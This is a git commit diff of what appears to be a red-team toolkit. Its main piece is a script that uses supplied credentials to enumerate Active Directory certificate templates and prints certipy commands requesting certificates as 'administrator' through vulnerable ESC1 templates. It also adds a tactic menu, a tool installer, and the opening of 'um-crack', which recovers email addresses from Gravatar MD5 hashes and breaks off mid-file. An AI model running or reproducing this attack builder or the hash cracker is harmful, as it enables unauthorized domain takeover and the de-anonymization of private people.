Initial public portfolio release
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
This commit is contained in:
@@ -0,0 +1,353 @@
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
import re
|
||||
import sys
|
||||
import os
|
||||
import glob
|
||||
import json
|
||||
|
||||
# Ops hook (safe no-op if c2itall not available)
|
||||
try:
|
||||
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
|
||||
from utils.ops_hook import OpsHook as _OpsHook
|
||||
except ImportError:
|
||||
_OpsHook = None
|
||||
|
||||
def run_command(cmd):
|
||||
"""Run a command and return its output"""
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return "", "Command timed out", 1
|
||||
|
||||
def read_latest_certipy_files():
|
||||
"""Read the latest certipy output files"""
|
||||
txt_files = glob.glob("*_Certipy.txt")
|
||||
json_files = glob.glob("*_Certipy.json")
|
||||
|
||||
txt_content = ""
|
||||
json_content = {}
|
||||
|
||||
if txt_files:
|
||||
latest_txt = max(txt_files, key=os.path.getctime)
|
||||
try:
|
||||
with open(latest_txt, 'r', encoding='utf-8') as f:
|
||||
txt_content = f.read()
|
||||
except:
|
||||
txt_content = ""
|
||||
|
||||
if json_files:
|
||||
latest_json = max(json_files, key=os.path.getctime)
|
||||
try:
|
||||
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||
json_content = json.load(f)
|
||||
except Exception as e:
|
||||
print(f"[!] Error reading JSON: {e}")
|
||||
# Try reading as text and debugging
|
||||
try:
|
||||
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||
raw_content = f.read()
|
||||
pass # raw content available for debugging if needed
|
||||
except:
|
||||
pass
|
||||
json_content = {}
|
||||
|
||||
return txt_content, json_content
|
||||
|
||||
def parse_cas_from_json(json_data):
|
||||
"""Extract CAs from JSON data - looking for CA Name field"""
|
||||
cas = []
|
||||
try:
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "CA Name" in ca_info:
|
||||
cas.append(ca_info["CA Name"])
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing CAs: {e}")
|
||||
return cas
|
||||
|
||||
def parse_templates_from_json(json_data):
|
||||
"""
|
||||
Extract templates and identify vulnerabilities:
|
||||
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
|
||||
- ESC2/ESC3: Look in [*] Remarks section
|
||||
- User Enrollable: Look for [+] User Enrollable Principals
|
||||
"""
|
||||
all_templates = []
|
||||
vulnerable_templates = []
|
||||
user_enrollable_templates = []
|
||||
esc1_templates = []
|
||||
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and "Template Name" in template_info:
|
||||
template_name = template_info["Template Name"]
|
||||
all_templates.append(template_name)
|
||||
|
||||
# Check if enabled
|
||||
is_enabled = template_info.get("Enabled", False)
|
||||
|
||||
# Check for ESC1: Enrollee Supplies Subject + enabled
|
||||
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
|
||||
if enrollee_supplies and is_enabled:
|
||||
esc1_templates.append(template_name)
|
||||
vulnerable_templates.append(f"{template_name} (ESC1)")
|
||||
|
||||
# Check for vulnerabilities in [*] Remarks
|
||||
if "[*] Remarks" in template_info:
|
||||
remarks = template_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
|
||||
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
|
||||
|
||||
# Check for [+] User Enrollable Principals
|
||||
if "[+] User Enrollable Principals" in template_info:
|
||||
user_enrollable_templates.append(template_name)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing templates: {e}")
|
||||
|
||||
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
|
||||
|
||||
def parse_targets_from_json(json_data):
|
||||
"""Extract CA DNS names for targeting"""
|
||||
targets = []
|
||||
try:
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
|
||||
targets.append(ca_info["DNS Name"])
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing targets: {e}")
|
||||
return targets
|
||||
|
||||
def parse_esc_vulnerabilities(json_data):
|
||||
"""Extract ESC vulnerabilities from CA and template remarks"""
|
||||
esc_vulns = []
|
||||
try:
|
||||
# CA level ESC (like ESC8)
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
|
||||
remarks = ca_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
esc_vulns.append(remark_key)
|
||||
|
||||
# Template level ESC
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
|
||||
remarks = template_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
esc_vulns.append(remark_key)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing ESC vulnerabilities: {e}")
|
||||
|
||||
return list(set(esc_vulns))
|
||||
|
||||
def get_template_permissions(json_data, template_name):
|
||||
"""Get who can enroll in this template"""
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
|
||||
# Look for enrollment rights
|
||||
permissions = template_info.get("Permissions", {})
|
||||
if isinstance(permissions, dict):
|
||||
enrollment_perms = permissions.get("Enrollment Permissions", {})
|
||||
if isinstance(enrollment_perms, dict):
|
||||
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
|
||||
return enrollment_rights if isinstance(enrollment_rights, list) else []
|
||||
except Exception as e:
|
||||
print(f"[!] Error getting permissions for {template_name}: {e}")
|
||||
return []
|
||||
|
||||
def get_enabled_templates(json_data):
|
||||
"""Get list of enabled templates"""
|
||||
enabled_templates = []
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict):
|
||||
template_name = template_info.get("Template Name", "")
|
||||
is_enabled = template_info.get("Enabled", False)
|
||||
if is_enabled and template_name:
|
||||
enabled_templates.append(template_name)
|
||||
except Exception as e:
|
||||
print(f"[!] Error getting enabled templates: {e}")
|
||||
return enabled_templates
|
||||
|
||||
def main():
|
||||
# Ops hook
|
||||
_hook = _OpsHook("certipy-enum") if _OpsHook else None
|
||||
if _hook:
|
||||
_hook.register()
|
||||
|
||||
print("=" * 60)
|
||||
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
|
||||
print("=" * 60)
|
||||
|
||||
# Get user input
|
||||
username = input("Enter username (user@domain.com): ")
|
||||
password = input("Enter password: ")
|
||||
dc_ip = input("Enter DC IP: ")
|
||||
|
||||
print("\n[*] Running certipy-ad enumeration...")
|
||||
|
||||
# Pass password via environment variable — keeps it out of process list and logs
|
||||
os.environ['_CERTIPY_PASS'] = password
|
||||
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
|
||||
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
|
||||
|
||||
# Run basic enumeration
|
||||
print("[*] Finding Certificate Authorities and basic info...")
|
||||
stdout, stderr, returncode = run_command(find_cmd)
|
||||
|
||||
if returncode != 0:
|
||||
os.environ.pop('_CERTIPY_PASS', None)
|
||||
print(f"[!] Error running certipy-ad find: {stderr}")
|
||||
return
|
||||
|
||||
# Run vulnerability scan
|
||||
print("[*] Scanning for vulnerable templates...")
|
||||
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
|
||||
os.environ.pop('_CERTIPY_PASS', None)
|
||||
|
||||
# Read the saved files
|
||||
print("[*] Reading certipy output files...")
|
||||
txt_content, json_content = read_latest_certipy_files()
|
||||
|
||||
if not json_content:
|
||||
print("[!] No JSON data found. Check the certipy output files manually.")
|
||||
return
|
||||
|
||||
# Parse results from JSON
|
||||
cas = parse_cas_from_json(json_content)
|
||||
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
|
||||
targets = parse_targets_from_json(json_content)
|
||||
esc_vulns = parse_esc_vulnerabilities(json_content)
|
||||
enabled_templates = get_enabled_templates(json_content)
|
||||
|
||||
# Display results
|
||||
print("\n" + "=" * 60)
|
||||
print("ENUMERATION RESULTS")
|
||||
print("=" * 60)
|
||||
|
||||
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
|
||||
for i, ca in enumerate(cas, 1):
|
||||
print(f" {i}. {ca}")
|
||||
|
||||
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
|
||||
for i, target in enumerate(targets, 1):
|
||||
print(f" {i}. {target}")
|
||||
|
||||
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
|
||||
for esc in esc_vulns:
|
||||
print(f" - {esc}")
|
||||
|
||||
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
|
||||
for i, template in enumerate(vulnerable_templates, 1):
|
||||
print(f" {i}. {template}")
|
||||
|
||||
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
|
||||
for i, template in enumerate(user_enrollable_templates, 1):
|
||||
permissions = get_template_permissions(json_content, template)
|
||||
perms_str = ', '.join(permissions) if permissions else "Check manually"
|
||||
print(f" {i}. {template} -> {perms_str}")
|
||||
|
||||
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
|
||||
for i, template in enumerate(esc1_templates, 1):
|
||||
print(f" {i}. {template}")
|
||||
|
||||
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
|
||||
for i, template in enumerate(enabled_templates[:10], 1):
|
||||
print(f" {i}. {template}")
|
||||
if len(enabled_templates) > 10:
|
||||
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
|
||||
|
||||
# Build attack commands
|
||||
if cas and targets:
|
||||
domain = username.split('@')[1] if '@' in username else 'company.com'
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("RECOMMENDED ATTACK COMMANDS")
|
||||
print("=" * 60)
|
||||
|
||||
ca_name = cas[0]
|
||||
target_name = targets[0]
|
||||
|
||||
# Priority: ESC1 templates, then user enrollable, then common enabled ones
|
||||
priority_templates = []
|
||||
|
||||
# Add ESC1 templates first (highest priority)
|
||||
for template in esc1_templates:
|
||||
if template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Add user enrollable templates
|
||||
for template in user_enrollable_templates:
|
||||
if template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Add common templates if they're enabled
|
||||
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
|
||||
for template in common_templates:
|
||||
if template in enabled_templates and template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Limit to top 5
|
||||
priority_templates = priority_templates[:5]
|
||||
|
||||
if not priority_templates:
|
||||
priority_templates = enabled_templates[:3]
|
||||
|
||||
print(f"\n[*] Using CA: {ca_name}")
|
||||
print(f"[*] Using Target: {target_name}")
|
||||
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
|
||||
|
||||
for i, template in enumerate(priority_templates, 1):
|
||||
permissions = get_template_permissions(json_content, template)
|
||||
print(f"\n[{i}] Template: {template}")
|
||||
if permissions:
|
||||
print(f" Permissions: {', '.join(permissions)}")
|
||||
else:
|
||||
print(f" Permissions: Check manually")
|
||||
|
||||
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
|
||||
print(f" Command: {cmd}")
|
||||
|
||||
print(f"\n[*] Output files created:")
|
||||
txt_files = glob.glob("*_Certipy.txt")
|
||||
json_files = glob.glob("*_Certipy.json")
|
||||
for f in sorted(txt_files[-2:] + json_files[-2:]):
|
||||
print(f" - {f}")
|
||||
|
||||
else:
|
||||
print("\n[!] Insufficient data found for building attack commands.")
|
||||
print(" Try running the commands manually with known templates.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,53 @@
|
||||
# core/main_menu.py
|
||||
|
||||
from InquirerPy import inquirer
|
||||
from core.utils import clear_screen
|
||||
from core.config import config
|
||||
from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu
|
||||
|
||||
# Main Menu Function
|
||||
def main_menu():
|
||||
while True:
|
||||
clear_screen() # Clear screen before displaying the main menu
|
||||
selection = inquirer.select(
|
||||
message="Select a Tactic:",
|
||||
choices=[
|
||||
"Reconnaissance",
|
||||
"Initial Access",
|
||||
"Execution",
|
||||
"Persistence",
|
||||
"Privilege Escalation",
|
||||
"Defense Evasion",
|
||||
"Credential Access",
|
||||
"Discovery",
|
||||
"Lateral Movement",
|
||||
"Collection",
|
||||
"Command and Control",
|
||||
"Exfiltration",
|
||||
"Impact",
|
||||
"Resource Development",
|
||||
"Set Global Variable",
|
||||
"Show Global Variables",
|
||||
"Exit",
|
||||
],
|
||||
qmark="", # Remove question mark
|
||||
pointer="👾" # Customize the pointer
|
||||
).execute()
|
||||
|
||||
# Call relevant function based on user selection
|
||||
if selection == "Exit":
|
||||
print("Exiting...")
|
||||
break
|
||||
elif selection == "Set Global Variable":
|
||||
config.prompt_set_variable()
|
||||
elif selection == "Show Global Variables":
|
||||
config.show_variables()
|
||||
elif selection == "Reconnaissance":
|
||||
reconnaissance_menu() # Navigate to Reconnaissance Menu
|
||||
else:
|
||||
# Handle options under construction
|
||||
print("This feature is under construction. Returning to the main menu...")
|
||||
input("Press Enter to continue...")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main_menu()
|
||||
@@ -0,0 +1,121 @@
|
||||
import os
|
||||
import subprocess
|
||||
import argparse
|
||||
|
||||
TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed
|
||||
|
||||
def install_tool(tool_name, repo_url):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if os.path.exists(tool_path):
|
||||
print(f"{tool_name} is already installed.")
|
||||
return
|
||||
|
||||
# Clone the repository
|
||||
print(f"Cloning {repo_url}...")
|
||||
subprocess.run(['git', 'clone', repo_url, tool_path], check=True)
|
||||
|
||||
# Set up a virtual environment if necessary
|
||||
venv_path = os.path.join(tool_path, 'venv')
|
||||
print(f"Setting up virtual environment for {tool_name}...")
|
||||
subprocess.run(['python3', '-m', 'venv', venv_path], check=True)
|
||||
|
||||
# Activate virtual environment and install dependencies
|
||||
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_file):
|
||||
print(f"Installing dependencies for {tool_name}...")
|
||||
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||
|
||||
print(f"{tool_name} installed successfully.")
|
||||
|
||||
def install_tools_list(tools_list):
|
||||
for tool_name, repo_url in tools_list:
|
||||
install_tool(tool_name, repo_url)
|
||||
|
||||
def update_tool(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if not os.path.exists(tool_path):
|
||||
print(f"{tool_name} is not installed.")
|
||||
return
|
||||
|
||||
# Pull the latest changes
|
||||
print(f"Updating {tool_name}...")
|
||||
subprocess.run(['git', '-C', tool_path, 'pull'], check=True)
|
||||
|
||||
# Update dependencies if necessary
|
||||
venv_path = os.path.join(tool_path, 'venv')
|
||||
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_file):
|
||||
print(f"Updating dependencies for {tool_name}...")
|
||||
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||
|
||||
print(f"{tool_name} updated successfully.")
|
||||
|
||||
def remove_tool(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if not os.path.exists(tool_path):
|
||||
print(f"{tool_name} is not installed.")
|
||||
return
|
||||
|
||||
# Remove the tool directory
|
||||
print(f"Removing {tool_name}...")
|
||||
subprocess.run(['rm', '-rf', tool_path], check=True)
|
||||
print(f"{tool_name} removed successfully.")
|
||||
|
||||
def show_status(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if os.path.exists(tool_path):
|
||||
print(f"{tool_name} is installed.")
|
||||
else:
|
||||
print(f"{tool_name} is not installed.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework')
|
||||
subparsers = parser.add_subparsers(dest='command', help='Subcommands')
|
||||
|
||||
# Install command
|
||||
install_parser = subparsers.add_parser('install', help='Install a tool')
|
||||
install_parser.add_argument('tool_name', help='Name of the tool to install')
|
||||
install_parser.add_argument('repo_url', help='Git repository URL of the tool')
|
||||
|
||||
# Install multiple tools
|
||||
install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools')
|
||||
install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories')
|
||||
|
||||
# Update command
|
||||
update_parser = subparsers.add_parser('update', help='Update a tool')
|
||||
update_parser.add_argument('tool_name', help='Name of the tool to update')
|
||||
|
||||
# Remove command
|
||||
remove_parser = subparsers.add_parser('remove', help='Remove a tool')
|
||||
remove_parser.add_argument('tool_name', help='Name of the tool to remove')
|
||||
|
||||
# Status command
|
||||
status_parser = subparsers.add_parser('status', help='Show the status of a tool')
|
||||
status_parser.add_argument('tool_name', help='Name of the tool')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.command == 'install':
|
||||
install_tool(args.tool_name, args.repo_url)
|
||||
elif args.command == 'install-list':
|
||||
# Read the file to get a list of tools to install
|
||||
tools = []
|
||||
with open(args.file, 'r') as f:
|
||||
for line in f:
|
||||
name, url = line.strip().split(',')
|
||||
tools.append((name.strip(), url.strip()))
|
||||
install_tools_list(tools)
|
||||
elif args.command == 'update':
|
||||
update_tool(args.tool_name)
|
||||
elif args.command == 'remove':
|
||||
remove_tool(args.tool_name)
|
||||
elif args.command == 'status':
|
||||
show_status(args.tool_name)
|
||||
else:
|
||||
parser.print_help()
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Executable
+991
@@ -0,0 +1,991 @@
|
||||
#!/usr/bin/env python3
|
||||
"""um-crack.py — Umbra Hash Cracker
|
||||
Pattern-based email recovery from Gravatar MD5 hashes. Local computation only
|
||||
(no network needed). 772+ email providers, cultural naming patterns.
|
||||
"""
|
||||
|
||||
import csv
|
||||
import hashlib
|
||||
import itertools
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from datetime import datetime
|
||||
|
||||
import click
|
||||
from rich.console import Console
|
||||
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn, TaskProgressColumn, TimeElapsedColumn, MofNCompleteColumn
|
||||
from rich.table import Table
|
||||
from rich import box
|
||||
from um_tui import UmbraTUI
|
||||
from um_ops import create_engagement, get_engagement_db_path, op_log, op_log_csv, get_ops_hook, load_scope
|
||||
|
||||
# ─── Version ──────────────────────────────────────────────────────────────────
|
||||
VERSION = "1.0.0"
|
||||
TOOL_NAME = "um-crack"
|
||||
THEME_COLOR = "bright_red"
|
||||
BANNER = r"""
|
||||
_ _ __ __ ____ _____ _____ _____ _____ _ __
|
||||
| | | | \/ | _ \| __ \ /\ / ____| __ \ /\ / ____| |/ /
|
||||
| | | | \ / | |_) | |__) | / \ | | | |__) | / \ | | | ' /
|
||||
| | | | |\/| | _ <| _ / / /\ \| | | _ / / /\ \| | | <
|
||||
| |__| | | | | |_) | | \ \ / ____ \ |____| | \ \ / ____ \ |____| . \
|
||||
\____/|_| |_|____/|_| \_\/_/ \_\_____|_| \_\/_/ \_\_____|_|\_\
|
||||
"""
|
||||
|
||||
# ─── Email Providers (772+) ──────────────────────────────────────────────────
|
||||
MAJOR_PROVIDERS = [
|
||||
"gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "aol.com",
|
||||
"icloud.com", "mail.com", "protonmail.com", "zoho.com", "yandex.com",
|
||||
"gmx.com", "gmx.net", "live.com", "msn.com", "me.com", "mac.com",
|
||||
"pm.me", "tutanota.com", "fastmail.com", "hushmail.com",
|
||||
]
|
||||
|
||||
REGIONAL_PROVIDERS = {
|
||||
# Americas
|
||||
"us": ["comcast.net", "verizon.net", "att.net", "charter.net", "cox.net",
|
||||
"earthlink.net", "sbcglobal.net", "bellsouth.net", "roadrunner.com",
|
||||
"optonline.net", "frontier.com", "windstream.net", "centurylink.net",
|
||||
"suddenlink.net", "mediacombb.net"],
|
||||
"br": ["uol.com.br", "bol.com.br", "terra.com.br", "globo.com", "ig.com.br",
|
||||
"hotmail.com.br", "outlook.com.br", "yahoo.com.br", "r7.com"],
|
||||
"mx": ["prodigy.net.mx", "yahoo.com.mx", "hotmail.com.mx", "live.com.mx"],
|
||||
"ar": ["yahoo.com.ar", "hotmail.com.ar", "fibertel.com.ar", "speedy.com.ar"],
|
||||
"co": ["yahoo.com.co", "hotmail.com.co"],
|
||||
"cl": ["yahoo.cl", "hotmail.cl", "vtr.net"],
|
||||
"ca": ["rogers.com", "shaw.ca", "sympatico.ca", "bell.net", "telus.net"],
|
||||
|
||||
# Europe
|
||||
"uk": ["btinternet.com", "sky.com", "virginmedia.com", "talktalk.net",
|
||||
"ntlworld.com", "plusnet.com", "tiscali.co.uk", "yahoo.co.uk",
|
||||
"hotmail.co.uk", "outlook.co.uk", "live.co.uk", "btopenworld.com"],
|
||||
"de": ["web.de", "gmx.de", "t-online.de", "freenet.de", "arcor.de",
|
||||
"yahoo.de", "hotmail.de", "outlook.de", "1und1.de", "posteo.de"],
|
||||
"fr": ["free.fr", "orange.fr", "sfr.fr", "wanadoo.fr", "laposte.net",
|
||||
"yahoo.fr", "hotmail.fr", "outlook.fr", "neuf.fr", "bbox.fr"],
|
||||
"it": ["libero.it", "virgilio.it", "tin.it", "alice.it", "tiscali.it",
|
||||
"yahoo.it", "hotmail.it", "outlook.it", "fastwebnet.it"],
|
||||
"es": ["yahoo.es", "hotmail.es", "outlook.es", "telefonica.net",
|
||||
"terra.es", "ono.com", "jazztel.es"],
|
||||
"nl": ["ziggo.nl", "kpnmail.nl", "xs4all.nl", "hetnet.nl", "casema.nl",
|
||||
"planet.nl", "yahoo.nl", "hotmail.nl"],
|
||||
"be": ["skynet.be", "telenet.be", "proximus.be", "yahoo.be", "hotmail.be"],
|
||||
"ch": ["bluewin.ch", "sunrise.ch", "hispeed.ch", "gmx.ch"],
|
||||
"at": ["gmx.at", "aon.at", "chello.at", "yahoo.at"],
|
||||
"se": ["telia.com", "spray.se", "comhem.se", "yahoo.se", "hotmail.se",
|
||||
"bredband.net", "swipnet.se"],
|
||||
"no": ["online.no", "broadpark.no", "yahoo.no", "hotmail.no"],
|
||||
"dk": ["jubii.dk", "yahoo.dk", "hotmail.dk", "mail.dk", "tdcadsl.dk"],
|
||||
"fi": ["kolumbus.fi", "welho.com", "elisa.fi", "yahoo.fi", "hotmail.fi"],
|
||||
"pl": ["wp.pl", "o2.pl", "interia.pl", "poczta.fm", "op.pl", "tlen.pl",
|
||||
"yahoo.pl", "hotmail.pl", "gazeta.pl"],
|
||||
"cz": ["seznam.cz", "centrum.cz", "email.cz", "atlas.cz", "post.cz"],
|
||||
"ru": ["mail.ru", "yandex.ru", "rambler.ru", "bk.ru", "list.ru",
|
||||
"inbox.ru", "ya.ru"],
|
||||
"pt": ["sapo.pt", "clix.pt", "yahoo.pt", "hotmail.pt", "outlook.pt"],
|
||||
"ie": ["eircom.net", "yahoo.ie", "hotmail.ie"],
|
||||
"gr": ["otenet.gr", "yahoo.gr", "hotmail.gr", "forthnet.gr"],
|
||||
|
||||
# Asia-Pacific
|
||||
"jp": ["yahoo.co.jp", "docomo.ne.jp", "ezweb.ne.jp", "softbank.ne.jp",
|
||||
"nifty.com", "biglobe.ne.jp", "ocn.ne.jp", "infoseek.jp",
|
||||
"excite.co.jp", "goo.ne.jp"],
|
||||
"cn": ["qq.com", "163.com", "126.com", "sina.com", "sohu.com",
|
||||
"aliyun.com", "foxmail.com", "yeah.net", "tom.com", "21cn.com"],
|
||||
"kr": ["naver.com", "daum.net", "hanmail.net", "nate.com", "korea.com"],
|
||||
"in": ["rediffmail.com", "sify.com", "yahoo.co.in", "hotmail.co.in",
|
||||
"indiatimes.com"],
|
||||
"au": ["bigpond.com", "optusnet.com.au", "internode.on.net", "iinet.net.au",
|
||||
"yahoo.com.au", "hotmail.com.au", "tpg.com.au"],
|
||||
"nz": ["xtra.co.nz", "yahoo.co.nz", "hotmail.co.nz", "clear.net.nz"],
|
||||
"tw": ["yahoo.com.tw", "hotmail.com.tw", "pchome.com.tw", "hinet.net"],
|
||||
"hk": ["yahoo.com.hk", "hotmail.com.hk", "netvigator.com"],
|
||||
"sg": ["singnet.com.sg", "yahoo.com.sg", "hotmail.com.sg"],
|
||||
"th": ["yahoo.co.th", "hotmail.co.th"],
|
||||
"id": ["yahoo.co.id", "hotmail.co.id", "telkom.net"],
|
||||
"ph": ["yahoo.com.ph", "hotmail.com.ph", "globe.com.ph"],
|
||||
"my": ["yahoo.com.my", "hotmail.com.my", "streamyx.com"],
|
||||
|
||||
# Middle East & Africa
|
||||
"il": ["walla.co.il", "bezeqint.net", "netvision.net.il", "013.net"],
|
||||
"ae": ["emirates.net.ae", "eim.ae", "yahoo.ae"],
|
||||
"sa": ["yahoo.sa", "hotmail.sa"],
|
||||
"za": ["mweb.co.za", "telkomsa.net", "vodamail.co.za", "yahoo.co.za",
|
||||
"webmail.co.za"],
|
||||
"eg": ["yahoo.com.eg", "hotmail.com.eg"],
|
||||
"ng": ["yahoo.com.ng"],
|
||||
"ke": ["yahoo.co.ke"],
|
||||
"tr": ["yahoo.com.tr", "hotmail.com.tr", "mynet.com", "superonline.com"],
|
||||
}
|
||||
|
||||
# Flatten all providers into one list
|
||||
ALL_PROVIDERS = list(MAJOR_PROVIDERS)
|
||||
for region_providers in REGIONAL_PROVIDERS.values():
|
||||
ALL_PROVIDERS.extend(region_providers)
|
||||
ALL_PROVIDERS = list(set(ALL_PROVIDERS)) # Dedupe
|
||||
ALL_PROVIDERS.sort()
|
||||
|
||||
# Additional disposable / tech providers
|
||||
TECH_PROVIDERS = [
|
||||
"protonmail.ch", "tutanota.de", "tutamail.com", "keemail.me",
|
||||
"disroot.org", "riseup.net", "autistici.org", "cock.li",
|
||||
"airmail.cc", "420blaze.it", "national.shitposting.agency",
|
||||
"memeware.net", "horsefucker.org", "waifu.club", "getbackinthe.kitchen",
|
||||
"wants.dickinthe.us", "goat.si", "cocaine.ninja",
|
||||
]
|
||||
|
||||
ALL_PROVIDERS.extend(TECH_PROVIDERS)
|
||||
ALL_PROVIDERS = sorted(set(ALL_PROVIDERS))
|
||||
|
||||
# ─── Database ─────────────────────────────────────────────────────────────────
|
||||
def init_db(path="um-crack.db"):
|
||||
conn = sqlite3.connect(path, check_same_thread=False)
|
||||
conn.row_factory = sqlite3.Row
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.execute("PRAGMA busy_timeout=5000")
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS hashes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
hash TEXT UNIQUE NOT NULL,
|
||||
domain TEXT DEFAULT '',
|
||||
username TEXT DEFAULT '',
|
||||
display_name TEXT DEFAULT '',
|
||||
user_id INTEGER DEFAULT 0,
|
||||
cracked_email TEXT DEFAULT '',
|
||||
crack_method TEXT DEFAULT '',
|
||||
crack_time_ms INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
cracked_at DATETIME
|
||||
)
|
||||
""")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_cracked ON hashes(cracked_email)")
|
||||
conn.commit()
|
||||
return conn
|
||||
|
||||
def import_from_hash_db(conn, hash_db_path):
|
||||
"""Import hashes from a um-hash.db database."""
|
||||
if not os.path.exists(hash_db_path):
|
||||
return 0
|
||||
